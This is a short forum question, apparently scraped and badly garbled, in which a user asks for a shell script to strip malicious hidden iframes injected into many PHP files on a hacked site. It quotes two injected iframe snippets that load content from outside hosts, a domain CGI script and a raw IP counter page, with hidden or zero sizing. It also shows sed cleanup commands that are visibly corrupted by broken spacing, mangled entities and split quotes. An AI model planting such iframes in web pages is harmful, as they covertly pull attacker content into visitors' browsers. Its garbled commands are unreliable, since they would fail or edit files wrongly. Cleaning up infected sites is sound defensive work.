shell - Single Quotes Iframe Virus -


I am looking for a shell script to extract the following code from multiple files:

  & lt; Iframe hbfww = 'BoGJMTtZ' src = 'http: //getrelax4you.com/in.cgi? 7 'width =' 665 'height =' 432 'style =' display: any '& gt; & Lt; / Iframe & gt;  

I have found the script to remove the iframes but for the double quote code where

is here:

  Find - name "* .php" -exec sed -i's / & lt; Iframe src = "http: \ / \ / 124.217.252.62 \ / ~ admin / count.php? O = 2" width = 0 height = 0 style = "hidden" frameborder = 0 margin-light = 0 marginwidth = 0 scrolling = no & Gt; & Lt; \ / Iframe & gt; // '{} \;  

I tried to avoid such a single quote

  find -name "* .php" -exec sed -i's / & lt; Iframe src = \ 'http: \ / \ getrelax4you \ /in.cgi? 7 \ 'width = \' 665 \ 'height = \' 432 \ 'style = \' display: none '' gt; & Lt; \ / Iframe & gt; / '' {} \;  

But then I think -> unexpected token `

  cat xyz.php | Sed "s /.* BoG. * $ // g" & gt; 

>

/ html>

Comments